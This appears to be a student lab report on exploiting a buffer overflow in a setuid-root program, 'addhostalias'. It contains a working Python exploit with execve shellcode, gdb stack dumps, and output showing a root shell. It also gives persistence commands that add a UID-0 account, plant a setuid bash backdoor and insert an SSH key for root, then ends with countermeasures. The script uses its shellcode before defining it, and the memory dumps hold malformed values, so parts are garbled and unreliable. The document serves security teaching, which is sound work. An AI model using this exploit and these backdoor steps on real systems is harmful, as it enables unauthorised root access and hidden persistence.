

# Lab2 Buffer Overruns

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## 1. Exploit Procedure

### 1.1 Exploit Methodology

According to the target's source file, the buffer that we can exploit works as follows:

```
1 | char formatbuffer[256];
2 | ...
3 | sprintf(formatbuffer, "%s\t%s\t%s\n", ip, hostname, alias);
```

The `ip`, `hostname` and `alias` arguments are collected from the input.

```
1 | #define IPADDR      1
2 | #define HOSTNAME    2
3 | #define ALIAS        3
4 | add_alias(argv[IPADDR], argv[HOSTNAME], argv[ALIAS]);
```

According to the stack structure introduced in the slides, we can illustrate the stack of `add_alias()` function when being exploited:

1. Initial state

```
1 | [High Addr]
2 | original ret addr |     ↓
3 | -----           |     ↓  stack growing
4 | ebp of the caller |     ↓
5 | -----
6 | |                   |
7 | |                   |
8 | |                   |
9 | |char formatbuffer[]|     ↓
10|-----|
11| [Low Addr]
12| <-----4B-wide----->
```

2. Inject malicious code into the `formatbuffer[]`. the payload consists of 3 parts:

A: a `NOP sled` where the function should return to. It is composed of `no-operation` instructions, thus starting from anywhere inside the `NOP sled` can lead to the shellcode.

B: the malicious shell code to be executed.

C: return address to the `NOP sled`.

```
1 | [High Addr]
2 | malicious ret addr x | ↑ --> the original ret addr has been changed
3 | -----           |   ↑
4 | malicious ret addr x |   ↑
```

```

5 -----↑
6 |malicious ret addr x | ↑
7 |    shellcode   | ↑
8 |    shellcode   | ↑ buffer writing
9 |    NOP_sled   | ↑
10 |.....| ↑ ---> where x locates
11 |    NOP_sled   | ↑
12 |char formatbuffer[] |
13 -----
14 [Low Addr]
15 <-----4B-wide----->

```

3. Jump to malicious shell code when `

```

1 [High Addr]
2 | malicious ret addr x | →-----↓
3 -----
4 |malicious ret addr x | ↓
5 -----
6 |malicious ret addr x | ↓ 1. return to shell code
7 |    shellcode   | → 2. open new shell↓
8 |    shellcode   | ←-----↓
9 |    NOP_sled   |
10 |.....|
11 |    NOP_sled   |
12 |char formatbuffer[] |
13 -----
14 [Low Addr]
15 <-----4B-wide----->

```

Clearly, if we do not check the boundary of the `formatbuffer[]` here, excessive input can overflow and then overwrite the return address of the function `add_alias()`. Thus, by manipulating the return address, after the execution of `add_alias()`, we can execute the malicious code in the buffer that comes from the input, such as opening a new shell in this case.

Moreover, since the target binary is owned by `root` and the `setuid` bit is enabled, the shell we opened can be a `root` shell.

## 1.2 Find Return Address

To locate the buffer, we can simply take the following steps:

1. Use `gdb` to run the target binary. The inputs are special strings that we can easily recognize: `aaa...`, `bbb...`, and `ccc...` (in hex).

```

1 | gdb --args /usr/bin/addhostalias $(python -c "print '\xaa' * 85") $(python -c
  | "print '\xbb' * 85") $(python -c "print '\xcc' * 85")

```

2. Make a break point after the aforementioned `sprintf()` function. Here we choose the `fopen()` function right after it.

```

1 | (gdb) b fopen
2 | Breakpoint 1 at 0x8048440

```

3. Run the binary, dump the stack and locate the target buffer.

```
(gdb) r
Starting program: /usr/bin/addhostalias
Breakpoint 1, 0x08048440 in fopen ()
(gdb) x/100x $sp
0xbffffa60: 0x0804857e 0x080486ec 0x080486ea 0x00000060
0xbffffa70: 0xbffffb50 0x4000736f 0x00000000 0x400272c1
0xbffffa80: 0x4001432c 0x40007099 0x08048241 0aaaaaaaaa
0xbffffa90: 0aaaaaaaaa 0aaaaaaaaa 0aaaaaaaaa 0aaaaaaaaa
0xbffffaa0: 0aaaaaaaaa 0aaaaaaaaa 0aaaaaaaaa 0aaaaaaaaa
0xbffffab0: 0aaaaaaaaa 0aaaaaaaaa 0aaaaaaaaa 0aaaaaaaaa
0xbffffac0: 0aaaaaaaaa 0aaaaaaaaa 0aaaaaaaaa 0aaaaaaaaa
0xbffffad0: 0aaaaaaaaa 0aaaaaaaaa 0aaaaaaaaa 0aaaaaaaaa
0xbffffae0: 0xbbbb09aa 0xbbbbbbbb 0xbbbbbbbb 0xbbbbbbbb
0xbffffaf0: 0xbbbbbbbb 0xbbbbbbbb 0xbbbbbbbb 0xbbbbbbbb
0xbffffb00: 0xbbbbbbbb 0xbbbbbbbb 0xbbbbbbbb 0xbbbbbbbb
0xbffffb10: 0xbbbbbbbb 0xbbbbbbbb 0xbbbbbbbb 0xbbbbbbbb
0xbffffb20: 0xbbbbbbbb 0xb9bbbbb 0xb9bbbbb 0xb9bbbbb
0xbffffb30: 0xb9bbbbb 0xb9bbbbb 0xc0000000 0xc0000000
0xbffffb40: 0xc0000000 0xc0000000 0xc0000000 0xc0000000
0xbffffb50: 0xc0000000 0xc0000000 0xc0000000 0xc0000000
0xbffffb60: 0xc0000000 0xc0000000 0xc0000000 0xc0000000
0xbffffb70: 0xc0000000 0xc0000000 0xc0000000 0xc0000000
0xbffffb80: 0xc0000000 0xc0000000 0xc0000000 0xc0000000
0xbffffb90: 0x08048633 0x08048633 0xbffffd73 0xbffffdc9
0xbffffba0: 0x40134e58 0x40009e40 0xbffffbc8 0xbffffbe8
0xbffffbb0: 0x4003017d 0x00000004 0xbfffffc14 0xbfffffc28
0xbffffbc0: 0x080486a0 0x00000000 0xbffffbe8 0x4003014d
0xbffffbd0: 0x400143ac 0x00000000 0x08048460 0xbfffffc14
```

Here we can clearly see the location of the buffer: from `0xbffffa8c` to `0xbffffb8c`.

Thus, the return address can be somewhere from `0xbffffa8c` to `0xbffffa8c + len_of_NOP_sled`.

## 1.3 Construct the Injection Code

As aforementioned, we can construct the injection code as follows:

1. Part A: A NOP sled with a length of `len(formatbuffer)-len(shellcode)`
2. Part B: The given shellcode. As described in the lab instruction, the code generally create a shell, and set the real UID and GID as the effective UID, which is `root` here.
3. Part C: The return address. We repeat it for `10` times to ensure it covers the original return address.

```
1 #!/usr/bin/env python2
2
3 import os
4 import struct
5
6 # part A: the NOP sled
7 nop = "\x90"
8 nop_sled = nop * (256 - len(shellcode))
9
10 # part B: the malicious shell code to be executed
11 shellcode = ('\xb9\xff\xff\xff\xff\x31\xc0\xb0\x31\xcd\x80'
12             + '\x89\xc3\x31\xc0\xb0\x46\xcd\x80\x31\xc0\xb0'
13             + '\x32\xcd\x80\x89\xc3\xb0\x31\xb0\x47\xcd\x80'
14             + '\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68'
15             + '\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0'
16             + '\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x90\x90\x90'
```

```
17         +'\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90')
18
19 # the ret addr is somewhere in the middle of the NOP sled.
20 ret_addr = struct.pack("i", 0xbffffae0)
21
22 # payload
23 exploit = nop_sled + shellcode + ret_addr * 10
24
25 print exploit
```

## 1.4 Perform the exploit.

Here, we execute `addHostAlias`. The `ip` argument is the injection code we created. Note that other arguments are arbitrary.

```
1 | addhostalias $(python exploit.py) f x
```

And then we get access to a root shell as expected.

```
dvader@deathstar:~$ addhostalias $(python exploit.py) f x
sh-2.05a# whoami
root
sh-2.05a# |
```

The memory layout of this exploitation is as follows:

```
Breakpoint 1, 0x08048440 in fopen ()
(gdb) x/100x $sp
0xbfffffa30: 0x0804857e    0x080486ec    0x080486ea    0x00000060
0xbfffffa40: 0xbfffffb20   0x4000736f    0x00000000    0x400272c1
0xbfffffa50: 0x4001432c   0x40007099    0x08048241    0x90909090
0xbfffffa60: 0x90909090   0x90909090    0x90909090    0x90909090
0xbfffffa70: 0x90909090   0x90909090    0x90909090    0x90909090
0xbfffffa80: 0x90909090   0x90909090    0x90909090    0x90909090
0xbfffffa90: 0x90909090   0x90909090    0x90909090    0x90909090
0xbfffffaa0: 0x90909090   0x90909090    0x90909090    0x90909090
0xbfffffab0: 0x90909090   0x90909090    0x90909090    0x90909090
0xbfffffac0: 0x90909090   0x90909090    0x90909090    0x90909090
0xbfffffad0: 0x90909090   0x90909090    0x90909090    0x90909090
0xbfffffae0: 0x90909090   0x90909090    0x90909090    0x90909090
0xbfffffaf0: 0x90909090   0x90909090    0x90909090    0x90909090
0xbfffffb00: 0x90909090   0x90909090    0x90909090    0x90909090
0xbfffffb10: 0xfffffb90   0xc031ffff    0x80cd31b0    0xc031c389
0xbfffffb20: 0x80d416b0   0x32b0c031    0xc38980cd    0x47b031b0
0xbfffffb30: 0x03130c00   0x6852d231    0x68732f2f    0x69622f68
0xbfffffb40: 0x52e3196e   0xb0e18953    0x3180cd0b    0x80cd40c0
0xbfffffb50: 0x90909090   0x90909090    0x90909090    0xbfffffae0
0xbfffffb60: 0xbfffffae0   0xbfffffae0    0xbfffffae0    0xbfffffae0
0xbfffffb70: 0xbfffffae0   0xbfffffae0    0xbfffffae0    0xbfffffae0
0xbfffffb80: 0xbfffffae0   0x78096609    0xbffff000a    0xbfffffbf8
0xbfffffb90: 0x080486a0   0x00000000    0xbffffbb8    0x4003014d
0xbfffffba0: 0x400143ac   0x00000004    0x08048460    0xbffffbe4
0xbfffffbb0: 0x400300c0   0x40132cc0    0x00000000    0x08048481
(gdb)
```

## 2 Persistent Access

After getting a temporary root shell access, there are various ways to make it persistent.

## 3.1 Create a New Root User

Add a user with `UID=0`. This approach can be easily detected by monitoring `/etc/passwd` and `/etc/shadow` files.

```
1 | echo 'hacker::0:0:root:/bin/bash' >> /etc/passwd
2 | echo 'hacker:$6$passwd:19000:0:99999:7:::' >> /etc/shadow
```

## 2.2 Create a Backdoor Shell

Create a new copy of the shell and make the set-UID bit enabled.

```
1 | cp /bin/bash /tmp/notabackdoor
2 | chmod +s /tmp/notabackdoor
```

Since a new file is created, it is easily to detect.

## 2.2 Add Backdoor SSH keys

Drop in our public key to root's authorized keys:

```
1 | mkdir -p /root/.ssh
2 | echo "ssh-rsa AAAA... amamiya@mikufan.tv" >> /root/.ssh/authorized_keys
3 | chmod 600 /root/.ssh/authorized_keys
```

## 2.3 General Countermeasures

All the aforementioned methods to make the illegal root access persistent have to modify important files or create new files. Therefore, monitoring important files, such as SSH keys and Linux user/password files, is extremely important.

Moreover, logging the behavior of root users is also useful to detect abnormal actions in advance, and it also helps restore the system after intrusion quicker.

Furthermore, since the attacker is more likely to access the system through network connections, applying an IDS to filter suspicious data may also help.

# 3. Shellcode Analysis

Here are some explanations about the important parts of the shell code mentioned in the lab instructions.

## 3.1 "\x31\xc0"

`\x31\xc0` means `XOR eax, eax` in assembly. This instruction is to create value `0` without directly write it in the code.

`0` is the UID and GID of `root`, thus we need to pass it to system calls such as `setuid`, `setgid` and `setresuid`. However, `0` can be treated as a `\0` character (both are `0x00` in hex), which is the end flag of strings and thus it can terminate `sprintf`. To avoid this null character, we use `eax XOR eax` to reproduce `0` here.

## 3.2 "\x89\xc3"

`\x89\xc3` means `mov ebx, eax` in assembly. As we mentioned above, `eax` stores the artificial `0` we calculated. And in assembly, when calling functions, `ebx` is usually used to store the first argument. Since we are going to use system calls like `setuid(0)` to set the user as root, this instruction is very important.

### 3.3 "\xb0\x47"

`\xb0\x47` means `mov al, 0x47` in assembly, and it is followed by `int 0x80`. Those 2 instructions is to invoke system call number `0x47`, which is `setregid`.

Therefore, the aim of the function is to set `RGID` and `EGID` as root. This is to gain complete control of the system, such as the complete access of `/root`.

Actually, the whole shell code can be interpreted as the following C code:

```
1 // Change ruid and euid to root
2 // Both functions have the same semantics. Use them at the same time for
   compatibility reasons.
3 setuid(0);
4 setreuid(0, 0);
5 // Change rgid and egid to root
6 // Both functions have the same semantics. Use them at the same time for
   compatibility reasons.
7 setgid(0);
8 setregid(0, 0);    //<--- which contains "mov al, 0x47"
9 // Execute shell
10 char *argv[] = {"./bin/sh", NULL};
11 execve("./bin/sh", argv, NULL);
```

## 4. Countermeasures

We discuss the countermeasures at the following levels:

### 4.1 Language

1. Check the buffer boundaries. Replace `sprintf()` with `snprintf()`, which can set limit on the maximum length of input, and thus avoid buffer overflow. Moreover, we can turn to programming languages with automatic array boundary check, such as `Rust`.
2. Restrict the scope of elevated privileges. Only grant the minimum privilege a program needs to reduce potential risk of exploitation.
3. Using static analysis tools, such as Clang static analyzer, Coverity, etc.

### 4.2 Run-time

1. Use stack canaries. Add `-fstack-protector` flag when compiling with `gcc` can insert a random canary before the return address to detect data tempering during runtime. However, it is easy to escape, and it requires recompiling the code.
2. Use Address Space Layout Randomization (ASLR). This can make the address of system calls more obscure for the attackers, and thus make it difficult to execute shell code. However, randomization is a overhead that we have to trade off. Simple randomization is easy to crack, and complex randomization leads to awful performance.

### 4.3 Operating System

1. Use Data Execution Prevention (DEP). This technique makes the stack/heap area as non-executable at hardware/OS level, thus prevents the execution of malicious code in the exploited buffer. However, it cannot prevent Return Oriented Programming (ROP), which can utilize snippets of codes outside the buffer.
2. Sandboxing. We can put the vulnerable programs into sandboxes, and thus the attacker can only get access to more limited resources.